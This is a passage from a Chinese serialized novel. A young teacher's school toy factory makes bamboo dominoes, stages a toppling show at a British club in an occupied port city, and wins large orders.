方校长正想摇头,看见他的神色,问道:“小常先生可是有什么事想说?” “是我们学校的学生。他们有些去不了内地,我帮他们问问,你们这里有没有工作机会。”常文远道。 “这样啊,”迟疑的变成了方校长:“我们学校虽然下个学年有招聘老师的计划,但目前老师是满额的。” “这些学生中,有学物理化学的吗?”春妮突然插嘴。 得到常文远的点头承认之后,春妮转向方校长:“校长,咱们招几个学物理化学的老师吧。正好研究彩色油墨,制版或许能用得上他们呢?” “不用这么麻烦。”常文远立刻道:“我们学校有学机械和应用化学的学生,可以把他们介绍到学校来,你们觉得怎么样?” 这还有什么不好的? 师生两个当即答应下来,跟常文远定好,让他们元旦节日过后来面试。方校长生怕自家条件不够优厚,还跟常文远说,有住宿问题的学生,学校可以免费提供住处。 春妮看了看掩在黑暗中的校舍,没好意思提醒校长,他说的住处,现在水电没通,有好几间房子还开着天窗呢。 学校虽然利用圣诞节的三天时间抢盖了一排房子,但时间毕竟太短,这几间房子大多数只是搭完了房梁,细节处还需要完善。最要紧的是,瓦当砖块要钱,请老师要钱,学校的预算不是无穷无尽,下一期的工程建设还不知什么时候可以定下来。 说到底,还是赚钱的问题。 缺钱是第一生产动力。 春妮第二天去卫家时,怀着无比的动力,将卫家书房再度扫荡一遍,果真又找出几本科技类的书刊,问过纳尔逊管家之后,将其带出了卫家书房。 连续去卫家两天,眼看林老师的油画临摹也走上了正轨,春妮自觉功成身退,跟纳尔逊管家提出了告辞。 纳尔逊管家对他们的印象很好,这两天中,位于二楼的书房不是没有其他人造访。包括小少爷和他的家庭教师,他们都曾在里面逗留了不短的时间。这两个年轻人一直规规矩矩缩在旁边的静室中埋头做自己的事,没有其他的心思,为自己添麻烦。 春妮奉上自己准备的礼物时,纳尔逊管家难得地对她露出了笑脸,并说:“看上去不错,这是什么?多米诺骨牌?” “是多米诺骨牌。” “你也知道多米诺骨牌?”纳尔逊礼貌性地表现出了一点惊讶:“这是你们玩具厂下一步准备做的项目吗?” 春妮怎么可能不知道多米诺骨牌? 但这副骨牌还真不是春妮准备的新品,这是她以前闲时制作出来的一套成品,原本准备送给夏生当生日礼物。骨牌虽然可以使用木制,但需要的数量众多,成本不少,并且不是小孩子耐得下心玩的玩具,也不是华国传统玩具,她没打算让玩具厂做这个。 不过话不能说死,春妮含糊说道:“目前我们还在计划中,”她将画的草图送上:“这是我为这些骨牌设计出来的一些玩法,希望您会喜欢。” 春妮以为,她跟卫公馆的交集将会止步于这副骨牌。 想不到几天之后,林老师找到了她:“小顾老师,纳尔逊管家让我问你,还有没有多的骨牌?他有朋友想买。” 第57章 057 初衷 有生意上门, 没道理拒之门外。 春妮让林老师给纳尔逊管家回话,说先前送给他的是自己手工制作的样品,目前还没有实现量产。如果纳尔逊先生需要, 可以先为他生产一些出来, 只是需要等几天。 纳尔逊先生不止表示没问题,甚至还兴致勃勃地提了点意见,希望他订制的这副多米诺骨牌颜色更加缤纷,固色能力更佳,样式如果更多一些就更好了。 春妮忽略了纳尔逊先生委婉抗议自己送他的那份礼物质量问题,满口答应下来。 她本来没打算送纳尔逊礼物,如果不是他答应借书的话。 之前送纳尔逊的那副骨牌因为是送给夏生的玩具, 她只用水彩画颜料将木料粗粗地上了一遍色。 假如正式售卖,自然不能再这么简单, 调制出相应的彩色木器漆上色是最起码的。 春妮一拍脑袋,待办事务又多了一项。 她问林老师:“纳尔逊先生为什么突然问我购买骨牌?” 林老师竟然真的知道:“是你送他的那副骨牌。我问仆欧打听过,他说,跟他之前玩过的骨牌不同, 推倒之后,小球弹跳着打乱牌序, 组成花色缤纷的图案很有趣。他请朋友来观赏时,他的朋友对这些大小不一的骨牌很感兴趣。小顾老师,你是怎么想到将骨牌做成大小 不一形式的?” 目前西方社会流行的多米诺骨牌玩法没有后世那么多花样, 通行玩法是将颜色不同的骨牌按一定规律排列出来,推倒之后, 骨牌组成不同花色的图案,在推倒的过程中,图案不住翻开, 产生出一种动态规律的美感。 林老师这样一说,春妮就明白了纳尔逊先生兴奋的点。 她送的这副骨牌按样式和大小,分为五种规格,并且在骨牌推倒的过程中设置了简单的陷阱,令骨牌的运动轨迹更加灵活多变,更加富有趣味性和不确定性。 明白纳尔逊先生想要的东西之后,春妮就知道该怎么做了。 正好元旦结束后,常文远介绍的几个学生通过方校长的考核正式到岗。春妮从中挑出两位化学学生,请他们帮忙调制彩色木器漆,自己则带着几名还没出徒的木匠学徒长日留连在木材行中,寻找合适的木材制作骨牌。 理论上讲,多米诺骨牌最好的材料自然是动物骨头,但这种时候,这些外国人能找到春妮为他们做木头骨牌都不错了,哪来的余地挑三拣四? 春妮最后选择了楠竹作为骨牌的材料,多米诺骨牌制作不仅讲究美观,更讲究材料的质感。楠竹表面光滑坚硬,质感厚重,叩击声清脆悦耳,是她找到的,手感最好的材料。最关键是,楠竹很便宜,比最便宜的水曲柳还便宜。 春妮画出骨牌常用的几种规格,将之交给工匠请来的木匠周师父,放手让他们自己去做。 上回做过一回拼图,大伙都有了合作经验。这回不需要她再培训,就知道自行分工分头干活了。 春妮因为紧张的倭语课,只会在项目开始前抓一阵,等步入正轨之后,她立刻痛快放手了。 但骨牌任务布置下去后,她发现一个问题,她的准员工们速度有些慢。 多米诺骨牌一般不讲究“副”,而是论“块”算价。 纳尔逊先生这次代他朋友下了一千块骨牌订单,希望她在三天内做完。工厂里目前有三四十个人可以做出这种小竹块,速度最快的一个人,每天能锯一百多块木头。三五个人合作,三天之内一千块骨牌一点问题都没有。 但春妮算过一笔财务帐之后,瞬间不淡定了。 现在在工厂里工作的木匠们一天包三餐,每餐标准两毛钱以上,另外最低每月还有两块钱的薪水。做这副骨牌的五个人,光是人工费至少要三块三毛三分钱! 再加上另外的打磨人工费,工料费,油漆费和其他费用,这一千块骨牌,春妮至少要卖六块钱以上才可以回本。 纳尔逊先生一个月薪水多少?他的朋友一个月挣多少?他们舍得花六块钱以上买个积木? 何况骨牌的价钱不可能卖到这么低,任何产品其生产运输中必然要预留出损耗和产品开发部分,只卖成本价就是亏本。那她定价多少合适? 这真是个恐怖故事。 他们先前开发的积木之所以有这么高的利润点,除去低廉的产品成本之外,他们印出来的太阳才是吸引人们购买的关键因素。 大家愿意为了那轮太阳多出十倍的价钱。 可是单独做多米诺骨牌并没有很大的附加值,那她怎么说服纳尔逊出这么高的价? 诚然,她可以利用后世的先知设计出更多的多米诺搭建方法,可多米诺的有趣就在于它无限的可能性。人们可以自由发挥自己的想象力,搭建设计出心中的多米诺图案,生产商固定好它的玩法,这就无趣了。 成本太高是核心问题。 但控制好成本,如果租界内兴起玩多米诺的风潮,一个人订一千片,一个人订两千片……那将是比积木还高的利润! “小顾老师,又遇到什么难题?愁眉不展的。” 春妮趴在桌子上没精打彩,耳边传来夏风萍打趣的说话。在学校里,她总喜欢跟其他老师一样,称她为“小顾老师”。 “工厂成本降不下来,你有办法解决?”春妮摊成一条咸鱼。 “别小瞧人嘛,你具体说说呗。”夏风萍在她身边坐下。 具体说说就具体说说。 春妮叹气道:“现在咱们工人的生产效率太慢了,单靠他们一个一个地锯骨牌,你说得锯到什么时候去?” 夏风萍也叹了口气:“倒也是。要是隆兴还在,咱们买台机器,肯定会快很多。” “唉?海城有这样的工厂?”春妮抬头。 “当然有了。你以为海城是什么地方?咱们这战前好多机械厂,钢铁厂。可惜现在要么迁到了内地,要么被炸成了一片废墟。隆兴以前产的带锯机就是专门用来锯木头的。” 原来是她想当然了。 到海城之后,春妮没在报章上看到类似的机器广告,也没听身边人提过,以为目前这类机械还要依赖泊来品,好多趣这样的小厂子肯定买不起。 木行倒是接受来料加工,能将他们的木块处理到想要的规格,但他们成立玩具厂的初衷,除了缓解学校的资金压力之外,还为了创造更多的就业岗位,让学生学到更多技能。目前张先生的学校关张了好几个,那些原本其他学校的资金被一股脑拨到他们的学校。学校暂时不缺钱的情况下,第二个目的明显比第一个目的更重要。 想不到这时候就有国产木材的处理机械,这倒是一大利好消息。 “那你说的隆兴呢?他们去了哪?” “炸了。”夏风萍无限唏嘘:“说起来,我小时候还去马伯伯家玩过,谁想到一场战争,说没就没了。哦,马伯伯就是隆兴的老板。” “炸得什么都没了?” “差不多吧,厂房倒了一大半。” “那剩下的一小半呢?” “你想问什么?” “你说呢?” 夏风萍一跃而起:“我去给我爸打个电话!” 春妮被她带得心头一阵乱跳:但愿这回能有点好消息。 一刻钟后,夏风萍气喘吁吁地跑回来,神色说不上好坏:“我爸说,一年前马伯伯就带着剩下的那点家底去了内地。不过,有些东西过于不方便携带,他们一时带不走,交给了一位朋友帮忙保管。” 这回换成了春妮一跃而起:“他家那位朋友在哪?带我去看看!” 临走前,她想起常文远介绍来的两个机械系学生,叫上他们,几个人一道出了门。 大半天后,几人拉着一大车东西回到学校。 方校长绕车转一圈,直念叨:“一千块钱就换来这点破铜烂铁?明天能用吗?” 春妮没说话,夏风萍一语戳破方校长的幻想:“校长,这可不是破铜烂铁。而且八百块钱大头全在电机上,我们还要找到摇齿,工作台,轴承,三角带……好些部件呢,实在找不到,还得花钱订制。您少说再准备个二百块钱吧。” 方校长瞪着带锯机,眼睛突出来:“还要二百块?!小顾老师,你跟我说清楚钱是怎么花的!” 春妮直接使个眼色给两位跟着押车回来的准老师:“您先打听打听战前隆兴带锯机的报价吧。现在这个价钱,咱们已经占大便宜了。” 他们回来的路上,春妮跟两人说过,学校没有闲钱,想留下来,必须找到自己的价值。 现在海城不少机械厂毁于战火,比起去西餐厅做服务生,学校的待遇差是差了些,可专业对口,发展前途看着也不错,学校还给解决住宿问题,是个不赖的栖身地。 两位吴江大学的肄业学生为了留下来,使出浑身解数说服校长:“二百块钱已经是我们核算出来的最低价了。即使是战前,一台带锯机的价钱至少也要两三千块,这台电机如果不是因为有点问题——” “花八百块钱买的电机还有问题?”方校长的声量陡然高过八度:“你给我说清楚,会有什么问题?” “不是不是,校长你别急啊,我们说的问题,是他电机内芯运行起来有 异响,只要拆开,更换几个螺丝就可以正常运行了。” “真的?” “真的!” …… 带锯机终于组装完成的那一天,玩具厂众人齐齐发力,当天就锯出了一万多块大小相等的楠竹骨牌。春妮耐心等了两天,让它们刷完彩漆,带着玩具厂这些天做的所有存货和几名同事,再一次去了英租界。 春妮跟纳尔逊管家的骨牌早在带锯机组装完成前就完成了交付,这次她去找纳尔逊,是为了交付时他们作的另一个约定。 第58章 058 精彩绝伦 英租界, 皇家桌球俱乐部大堂 休息日的上午,俱乐部总是会聚满诸多无所事事的人。 特别倭国人在租界外布设岗哨后,这些远涉重洋, 在海城当了几十年一等公民的外国人更加喜欢窝在租界的各个俱乐部内消磨时间。因为那些东洋疯子不止在租界外设置哨卡, 对华国人耀武扬威,对他们不止没有什么优待,有时受到的刁难更多。 海城沦陷一年多来,真正有门路的高等公民们早已想办法离开这座曾经的东方巴黎。剩下的这些人,大部分是各大企业驻留在此的高等职员,或者在海城经营日深,无法割舍产业的中小产业主。 海城的沦陷对他们中有些人的生意并没有那样大的打击, 相反,许多华人富商为了保护自己的财产, 会更相信西洋人开设的银行,委托他们保管财物。而倭国人的封锁难不住这些有门路的人,利用封锁抬高物价,从中大赚特赚, 已经成为了这些人公开的秘密。 但谁也不知道,那些疯狂的东洋人会接着做出什么事。在这样的环境下, 每个人都或多或少会感到心情压抑。 这是一群口袋里不缺钱,只缺乐子的,无聊且压抑的有钱人。 “纳尔逊, 你到底有什么好东西给我们看?”两个中年人打开玻璃门,谈话声将在吧台前喝酒的众人视线吸引过来。 纳尔逊脸上带着神秘的笑意:“不要着急, 彼得,你马上就会看到。” “哦得了吧,瞧你那样, 肯定是俱乐部请来了那些白俄舞女。说吧,这次是娜塔莎还是阿莲娜?”彼得眼中露出兴奋的光芒。 纳尔逊嘴角轻轻往下一压,笑得更加温和:“我可以肯定地告诉你,都不是,但肯定会是你喜欢的东西。”他转向俱乐部其他若隐若现窥探的目光,大方笑道:“先生们,你们跟不过来看看吗?” “当然。” “既然纳尔逊先生有请……” 海城的租界总共就这么大,俱乐部里常来常往的,通常就是那几个熟面孔。人们对纳尔逊那张典型的混血面孔早就熟知于心。 如果是战前,像纳尔逊这样血统不纯粹,职业不够体面的英国人,根本无法走进这所只接待纯种白人的俱乐部,但混血所带来的广阔人脉,是这些人所不具备的。 一年多来,纳尔逊时不时带来的消息,如今总算令这些高傲的西洋人肯对他和言悦色地说两句话。 纳尔逊维持着完美的笑容,带着众人走到二楼,站在一个包厢前作出了“请”的动作:“先生们,请进吧。” 暗红色的橡木门被徐徐推开,有些人透过门缝,已经猜出了一二,但随着房间的推开,仍是渐渐露出惊容:“这……” “堆叠了一整个房间的多米诺!上帝啊,你花了多长时间搭建它?”彼得惊呼。 让彼得惊讶的,不是一整个房间的多米诺,而是这一整个房间的多米诺从地面延伸到台球桌台,利用房间的格局和桌球搭成一个底座向外延伸,高至少有两米的塔形结构,一粒白色的乒乓球像明珠一样镶嵌在它的最顶端。 这样大的手笔,至少需要搭建三天?五天?还是一周? 众人看纳尔逊的目光都变了:多米诺在西洋一向是智慧与耐心的游戏,能够花这么长时间搭建一座多米诺宝塔,至少在租界里,这位纳尔逊先生智力绝对是顶尖的。 除非……有人能够设计搭建出比他更厉害的多米诺。 纳尔逊笑而不语:他在卫公馆当管家,怎么可能有时间搭出这么大规模的多米诺骨牌?这些当然是—— 他目光投向此时已经隐身在隔壁房间的春妮等人,轻轻拍了拍手掌,众人安静下来:“先生们,你们不会想站在门口聊一整个白天吧?” “当然不,纳尔逊,你现在要推倒它吗?”彼得期待地问。 纳尔逊却摇了摇头:“我一点也不想看着自己花好几天搭建的心血被推倒。先生们,你们谁来帮帮我?” 谈话出现了数秒的真空。 “你是说,你想将这份摧毁的殊容让给我们中的一个人?”彼得表示无法理解。 得到对方的再度肯定后,几个年轻些的男人雀跃道:“我来吧。” “让我来!” “这么多先生都想来?可真叫人为难哪。”纳尔逊目光环视一圈,落到站在人群最后的花白胡子先生身上:“作为一名绅士,我属意于请我们德高望重的史密斯先生来做这件事,史密斯先生?” 史密斯先生是汇丰银行在华国的监理,除了那位从来不到桌球俱乐部这样的中级会所找乐子的董事,史密斯先生几乎是英国在华国银行界的第一人,租界里有数的大人物之一。据说过了今年,他就会退休离任。无论从年龄,还是身份地位上来说,由他来推倒骨牌,都让人无话可说。 史密斯先生锐利的灰眼睛在纳尔逊脸上一扫而过:这个年轻人想做什么,他这样的老家伙又怎么看不出来?不过,他还从来没有推倒过多米诺宝塔,听上去……很有意思? 到了他这样的年龄,做事情有时更喜欢顺心而来。这个年轻人并不像其他人那样,他殷勤得不让人讨厌。 他捻了下八字胡:“听上去很有意思,纳尔逊先生,我该怎么做?” 纳尔逊暗暗捏了下拳头,笑着将史密斯请到最前面,交给他一根高尔夫球杆:“你只需要用这根球杆将这颗高尔夫球轻轻撞击进滑道中,让球撞到地上这个风页平行于地面的木制小风车,令风车转动起来即可。” 使用高尔夫球杆拨动高尔夫球,推动骨牌时不用弯腰贴地,照顾到了绅士的体面。 史密斯先生赞赏地看了他一眼,接过高尔夫球杆,兴致勃勃地撞击了一下球体。高尔夫球轻轻被送入预先做好的木制滑道,不出意料地碰到位于滑道尽头小风车的一片风页。风页转动起来,带倒位于另外一个方向的一片骨牌。这片骨牌设置在两列呈剪刀状散开的骨牌最前方,从这片骨牌开始,两列骨牌从两个方向摧枯拉朽地倒下。 多米诺骨牌最令人期待的部分到了:摧毁! 两路骨牌几乎同时倒伏到两把椅子旁边,众人摒住呼吸:那些椅子上的多米诺骨牌同地板上的这些该怎么互相关联并碰倒,是众人最好奇的问题之一。 终于,随着地面上最后一张骨牌的倒塌,带动隐藏在桌子腿后的一条细线,细线崩直,拉动着椅子上的第一片骨牌倒下…… 小机关的连锁反应终于到了台球桌,这也是最令人期待的部分:那座高耸到几乎快到天花板的巨型宝塔正置身其上,等待着被摧毁的那一刻。 球台上同样是两列剪刀状骨牌分布,它们一路倒伏,同时沿伸到宝塔两边最边缘的骨牌处,轻轻一蹭…… 在稀里哗啦的宝塔倒塌声中,彼得的问询再度响起:“纳尔逊,你的安排是不是有点问题?东南角落的骨牌太远——” 话音刚落,那粒被放置在宝塔最顶端的乒乓球弹射而下,擦过绷直的方向牵引绳,像听懂了一样,拐往他手指的方向。 排放在最前方的骨牌被准确命中,东南角的骨牌三秒内完成了翻倒,一面红白蓝相间的米字旗瞬间出现在众人面前。 只有对抛物线和小球撞击力有精准把握的人才做得到这一点! “哇哦!”众人小声惊呼起来。 “真像电影一样,”彼得似是看迷了眼,轻声赞叹:“序曲,正片,高潮,连彩蛋都有,太棒了!纳尔逊,听到我说的话了吗?你这家伙太棒了!” “啪啪啪”,史密斯先生笑着轻轻鼓掌:“真是精彩绝伦的表演。” “这是 怎么做到的?纳尔逊,你一定得告诉我!”彼得兴奋道:“我一向搞不懂这些小玩意,这他妈比打桌球有趣多了!” 纳尔逊稍作安抚,见史密斯先生排开众人往外走,急忙追了上去:“史密斯先生,请等一等。” 他感兴趣地望着这个年轻人:“纳尔逊先生,你还有什么事吗?”为了今天的这场表演,他不介意帮他点小忙,但若是他贪得无厌…… 纳尔逊似乎看不懂他称量的视线,笑着道:“是这样的,我在电影公司租了台胶片摄像机,将今天的宝贵瞬间摄录了下来,等剪辑完成后,想邀请您到场观看。” “哦?”刚刚众人忙着观看推倒骨牌的过程,没注意设置在桌台最边缘的摄像机。史密斯先生虽然看到了,只是以为是台照相机,没有多作关注。 这个年轻人为了今天的事情花费不小嘛。 整个英租界,只有位于丹霞路的海城皇家总会三楼有一间小型放映室。 而海城皇家总会只接受工部局,银行高管,大公司高级董事们的进入,是所有海城白人最向往的顶级会所。 “我喜欢有心的人。”史密斯先生掏出一张名片递给他:“打上面的电话可以找到我。” ………… 人群散去之后,彼得走到纳尔逊身边,拍拍他的肩膀,邀功似地挑挑眉:“怎么样?我干得不赖吧。” 纳尔逊微微一笑:“谢谢你了,老伙计。” 彼得“啪”地一声打亮打火机,笑道:“那只老狐狸可不好钓。我很好奇,为什么你一定要认识他?” “我不一定非要认识他。”纳尔逊取出香烟,凑近点燃:“随便是工部局的谁都可以。” 彼得耸耸肩:“得了吧,工部局的那些大人物更不好认识。” 纳尔逊抽了会儿烟,道:“我有预感,倭国人的野心不只于此。这种时候多认识一些上面的人,不会有坏处。彼得,你要做好准备,咱们的日子可能不会像战前那么好过了。” 跟彼得道别之后,纳尔逊站在走廊外抽完一整支烟,推开隔壁包厢的门。 门里的人迎上来:“纳尔逊先生,您的事办得怎么样了?” 纳尔逊矜持地点点头:“都办完了。” 韩厂长从他神色里看不出好坏,便有些踟蹰。 春妮小声提醒他:“你问他骨牌还要不要买。” “都留下来吧,我全要了。”纳尔逊顿了顿,终于说出了大家期盼已久的话。 “太好了!” 准备这么久的事,终于有了好的结果。包括春妮在内,玩具厂的众人都忍不住笑了起来。 自从春妮十天前给纳尔逊送骨牌,得知在英国本土很流行这种游戏之后,跟他提了个小意见,他可以邀请他的朋友以比赛的形式来聚会交流。 纳尔逊先生听了进去,但很精明地说,自己没有那么多资金准备赛事,他想问玩具厂租借五万片骨牌来帮忙完成赛事。 春妮:“……” 春妮让郑经理跟他谈判,最终对方答应以一天两块钱,租期十天为代价,结束后再决定要不要购买,如果不购买,再支付玩具厂六十块钱人工费的条件谈妥了这次合作。 毕竟为了纳尔逊的这次聚会,玩具厂拨了好几个人,日以继业地在这间房里干了七八天,才堆出了这次完美的骨牌。 众人的欢呼声稍歇,纳尔逊先生笑着又说出了另一个好消息:“我有几个朋友也想向你们订购骨牌,工厂还有余货吗?” “有!”韩厂长激动地喊出了声。 工厂开业一个多月,将近两个月了,终于迎来了一次大订单。而且这大订单肉眼可见地源源不绝,大伙能不高兴吗? 没有也得有! 回去后马上加班加点地干! 这一刻,留在这里的玩具厂员工心声无比地统一。 第59章 059 值得 纳尔逊先生离开后, 玩具厂的员工们看看彼此,忽然,同时发出了开心的欢呼声, 紧紧抱在了一起! 过去的十天, 他们待在隔壁那间小小的台球房里,连出气都不敢大声。经历一次次推倒,一次次重建,一次次重新计算,光是设定和找准乒乓球的落点就用掉了两天时间,其中的辛苦煎熬只有他们自己知道。 然而,为了这一刻, 什么都是值得的。 成功卖出五万片多米诺骨牌,光是纳尔逊先生的订单就为他们赚取了将近两百块钱的利润! 韩厂长顶着方校长的压力, 坚持配齐带锯机所有配件,硬是从老师们手中抢来一间教室作为机房是值得的;郑经理出尽百宝,一分一厘地抠,中途几乎被纳尔逊赶出门外, 终于跟他谈下一千片八块四毛三分钱的报价是值得的;来自吴江大学的物理系高材生舒老师趴在地上,精确到毫厘, 日以继夜测试较准乒乓球的轨道,也是值得的! 还有剩下的三名学生,他们原本是学校招收的第一批学生。在半年前, 他们还目不识丁,可现在, 他们在英国人的地盘上做出了骄人的成绩! 这十天来,他们吸着气,猫着腰一次次爬上台球桌, 生怕一点微小的动作就令骨牌坍塌,除了上茅厕,几乎不敢下台球桌,他们的小心翼翼,精益求精,全都是值得的! 春妮站在旁边,看着这些同事们欢呼流泪,心情也同样的激动难言。 她虽然不像韩厂长和郑经理,以及其他四位负责搭建多米诺的同事一样,时时刻刻待在这间房中搭建多米诺,但是,这个项目是她从无到有创作出来,为工厂拉来了第一笔订单。 为了今天的这笔大订单,为了让纳尔逊先生对这次活动有信心,春妮答应纳尔逊先生,胶片摄像机的租金由她垫付,如果这次活动失败……她承受的压力不比他们小。 从头到尾,她参与其中。这里是属于英国白人的世界,没人比她更明白,这些留在俱乐部的同事们忍受了多少冷眼和霸凌,这一刻,他们的失态和兴奋春妮都能够感同身受! 何况,纳尔逊先生的订单代表的不是结束,而是开始。 这笔订单为他们敲开了另一扇大门。 在百业日渐凋零的海城,拿下这笔订单有多么难得,众人心知肚明。 “大家辛苦了。”韩厂长拍拍手掌,示意所有人安静:“郑经理,俱乐部的事,你没问题吧?” 多米诺原本在西方世界就是很有群众基础的高雅游戏,几天前,他们订下策略,推测这次的活动成功之后,会有很多人来俱乐部租房间玩多米诺,打算活动结束后,由郑经理出面,跟俱乐部谈谈合作的问题。 郑经理抹了抹脸,精神满满:“厂长,你就等我的好消息吧。”说完,他夹起公文包一溜小跑:“几位等我几分钟。” 或许是前面的准备工作过于艰难,韩厂长开心之后,总觉得胜利之后的这一切不那么真实,他招呼众人坐下:“都吃点东西吧,我们等郑经理一起回工厂。” 纳尔逊先生离开前,体贴地为他们点了俱乐部最有名的红丝绒蛋糕。 舒老师摆了摆手,疲惫地歪下头:“你们吃吧,我……我太困了,让我眯会儿。” 另外几位员工也相继歪倒下来,不一会儿,房间响起了此起彼伏的鼾声。 韩厂长摇摇头,走到门口招来侍应生,将这些几乎没动过的红丝绒蛋糕打包,同春妮相视一笑,等待着郑经理的消息。 郑经理是十分钟之后回来的,韩厂长看他神色,心里一突:“谈判不顺利?” “不是,”郑经理一脸恍惚:“俱乐部答应订制骨牌,可他们提出了一个条件。” “什么条件?” “俱乐部答应订制多少?” 春妮和韩厂长异口同声。 “俱乐部答应订制三十万片骨牌。可他们的条件是,我们必须将这次负责搭建多米诺的员工都留下来。”郑经理是茫然的:“英国人的俱乐部想挖我们的角。” 郑经理在洋人的洋行工作了数十年,深知这些西方人有多傲慢。在租界里,像这样等级的俱乐部,从侍应生到经理都是白人,从来不接受华人的进入。所以,自从听见他们提出的条件,郑经理这么机灵的脑子都被震懵了。 然而,他同事们的关注点似乎跟他不太一样。 韩厂长不高兴道:“咱们好不容易教出来的学生,凭什么让英国人占走便宜?” 春妮开心:“这是好事啊,郑经理,你怎么愁眉苦脸的?” 两人对视一眼,韩厂长秉持女士优先的原则,让春妮先说:“顾总工,你为什么这么高兴?” 春妮如今在“小顾老师”和“顾总工”两个身份之间自由切换,也习惯了。她脑袋一转,就想明白韩厂长为什么不高兴了。 民国以前,甚至是现在这个年代,很多人学手艺都存在着敝帚自珍的想法。在韩厂长眼里,他带来的几名员工都是学校好不容易培养出来的尖子生,英国人开口就要走他们最好的员工,他怎么高兴得起来? 春妮提醒他:“厂长,你忘了,他们几个都是我们江浦学校出来的学生。咱们江浦的学生让英国人的俱乐部看中,说明咱们学校培养出来的学生优秀,说出去多有面子的事,不值得高兴一场吗?” 韩厂长容色稍霁,但还是不那么开心:“可他们如果走了,那我们厂怎么办?” “厂长,我不走。”几个人听见他们的争执,不知什么时候醒了过来,一名叫李铁柱的学生当即表态道。 春妮看了看其他几人的神色,他们都没有马上出声。 李铁柱激动地说:“没有学校的栽培,我李铁柱现在还在街上当小乞丐。学校给我饭吃,还教我读书,我要是一学成就拍拍屁股走了,那我还是人吗?” 他这一说,其他两人露出羞惭的神色,也纷纷表态:“校长,我也不走。” “对,学校培养的我们,我们不会背叛学校的。” 韩厂长神色好看了一些。 春妮看得出来,他们三个人不是不心动,只是出于对学校的忠诚,令他们作出了违背本心的决定。 “我觉得你们应该留下来。”春妮认真说:“这是个难得的机会。” 其他人都露出不赞同的神色,要不是说这话的是春妮,恐怕早就被几人打断了话茬。 春妮问韩厂长:“厂长,你还记得我让铁柱他们跟我来这时,你怎么问的我吗?” “我问你什么了?哦,对,我问你,怎么挑的是他们三个。” 春妮点头,直言不讳:“没错,你们三个应该很清楚。你们在工厂里,不是手脚最麻利,学得最好的那批学生。”见这三个学生均低下头,默认了她的说法,春妮话头一转:“我选你们,是因为你们是我筛选出的手最稳,最能沉得下心的学生。搭多米诺骨牌跟做木工不同,做木工需要手脚灵活有力,但搭多米诺骨牌最需要严谨细心,绝对不能毛燥。你们或许木工做得不优秀,但搭多米诺骨牌一定是最好的学生,不必要妄自菲薄。” 翻过年才十三岁的少女侃侃而谈,其他人非但不以为怪,反而频频点头,深以为然。这个画面,郑经理已经习惯,刚来学校没多久的舒老师却新鲜地很,见那几个乖乖听话,拐了拐郑经理:“你别说,小顾老师一个小姑娘脸一板,还真像那么回事啊。” 郑经理心里呵呵:你是没看到,这个小姑娘查出仿我们太阳积木的厂子,带着人杀到对方厂里去,找对方老板要版权赔偿的凶神恶煞样。这点小场面算什么? 这边两个人嘀咕,那边三位学生面现喜色,被春妮说得总算重拾信心。 正在这时,李铁柱又说:“我觉得,我在学校学得太少了,我还想再跟老师们学学。” “觉得自己学得不够是对的。”春妮道:“你们学习时间不长,目前只是在多米诺骨牌上比其他人多了些心得,如果其他人每天不松懈地学习,超过你们是迟早的事。” 三人面色又是一苦。 这时韩厂长已经完全转变过了思路,他严肃道:“所以说,即使你们以后有了工作,也不可放松对自己的要求。学如逆水行舟……” 在学生们的沉默受训中,春妮说了最后一席话:“学校建得多不容易,你们是学校的第一批学生,都很清楚。不瞒大家,即使是现在,学校的前途也很难说,谁也不知道咱们走得到哪一天。过去学校庇佑了你们,希望有一天,你们成长起来,有跟老师们共同保护咱们学校的力量。哪怕你们没有成长到这个地步,能够靠自己的本事好好活着,成全了学校成立的初衷,也是很好很好的。” “小顾老师,我们听你的。”三个人终于点了头。 俱乐部最终只要了两个人,简单试用过后当场获得了留用。 玩具厂众人捏着新鲜出炉的骨牌购销合约,也不怕他们出尔反尔,各自在心里感慨:三十万张骨牌眼也不眨,说订就订,这些俱乐部可真是有钱哪! 走出俱乐部,韩厂长将春妮拉到一边,小声道:“小顾老师,我不是故意跟你唱反调。我就是怕,被那些资本家的花花世界一迷,这些孩子看花了眼,忘了本心怎么办?” 春妮笑了:“厂长,你不会以为,凭他们学的那点小技巧就万事大吉了?路长着呢。” 韩厂长思考片刻,叫来唯一没被录取的李铁柱:“你去跟他们两个说,不能因为被俱乐部录取就放松了对自己的要求。学校马上开夜班教学,你让他们下班后抽时间到学校来上林老师的补习班学画画,还有认字也不能放下。”走几步又叫住他:“他们现在有了工资,记得让他们交了学费再来。” 春妮不由侧目:韩厂长你行啊,都会举一反三了。 韩厂长的想法不止这些,坐电车回去的路上,他跟春妮商量:“你说,咱们回去后要不要建议校长,再开个搭骨牌的班?” 春妮还没回答,坐在两人前边的郑经理也扭头过来问她:“顾总工,咱们是接着下一步的计划,还是先回工厂?” 第60章 060 福利 春妮自诩是个工作起来不要命的工作狂, 韩厂长和郑经理两个更有甚之。 闻言,韩厂长当即安排起来:“不是说下一步去百货商场吗?正好——” “正好什么正好?”春妮让他俩看隔座睡得正香的几名技术人员:“把他们几个送回去,先好好睡一觉再说。还有你们俩, 多少天没回家了?回去认认家门, 再到厂里来开会。”又说韩厂长:“你别操这么远的心了,这个班怕是办不起来。” 为什么办不起来? 韩厂长满腹不解,但看见春妮已经合上眼睛睡觉,只好咽下剩下的话,没一会儿也打起了瞌睡。 从纳尔逊的多米诺聚会开始筹备,春妮因为是个姑娘家,又有其他的事脱不开身, 只是一两天过来看一次。郑经理和韩厂长几个大男人日夜轮岗,几乎吃住睡都长在了俱乐部里。要不是纳尔逊提前支付了一笔不斐的费用, 这几个臭哄哄的大男人早被扔出了大街。 春妮一句话将众人支回家休养生息,自己也美美地回石库门睡了一大觉,等下午回她的小吃摊,才知道方校长这一中午盼着他们回来, 在小摊子上坐了一下午,等得脖子都细了。 待到她赶去通知学校时, 校园里欢腾的气氛尤未消歇。 其实从俱乐部回来前,郑经理已经跟学校打过一回电话报喜,只是从学校到工厂都穷惯了, 乍一听见突然有了件三十万的大订单,怎么都不太敢 相信。 方校长从春妮嘴里再听一遍, 才感觉到了一丝真实:“这么说,咱们学校是真的要大赚一笔了?”他顿生急迫感,挥手驱赶众人:“都愣着干什么?还不快去忙去?三十万的木头牌子呢, 今天晚上都给我加班加点地干起来!” 兴奋完之后,方校长很快恢复了理智。他跟韩厂长提出了一样的问题:“这么说,小邓和小严以后不来咱们学校了?那他们学习怎么办?” 小邓和小严就是这次被俱乐部录取的两个幸运儿。 韩厂长将自己的安排说了,方校长仍是不放心:“可他们在那种地方,会不会染上坏毛病?才不到十六的孩子,家里又没个大人看着,怎么叫我放心?” 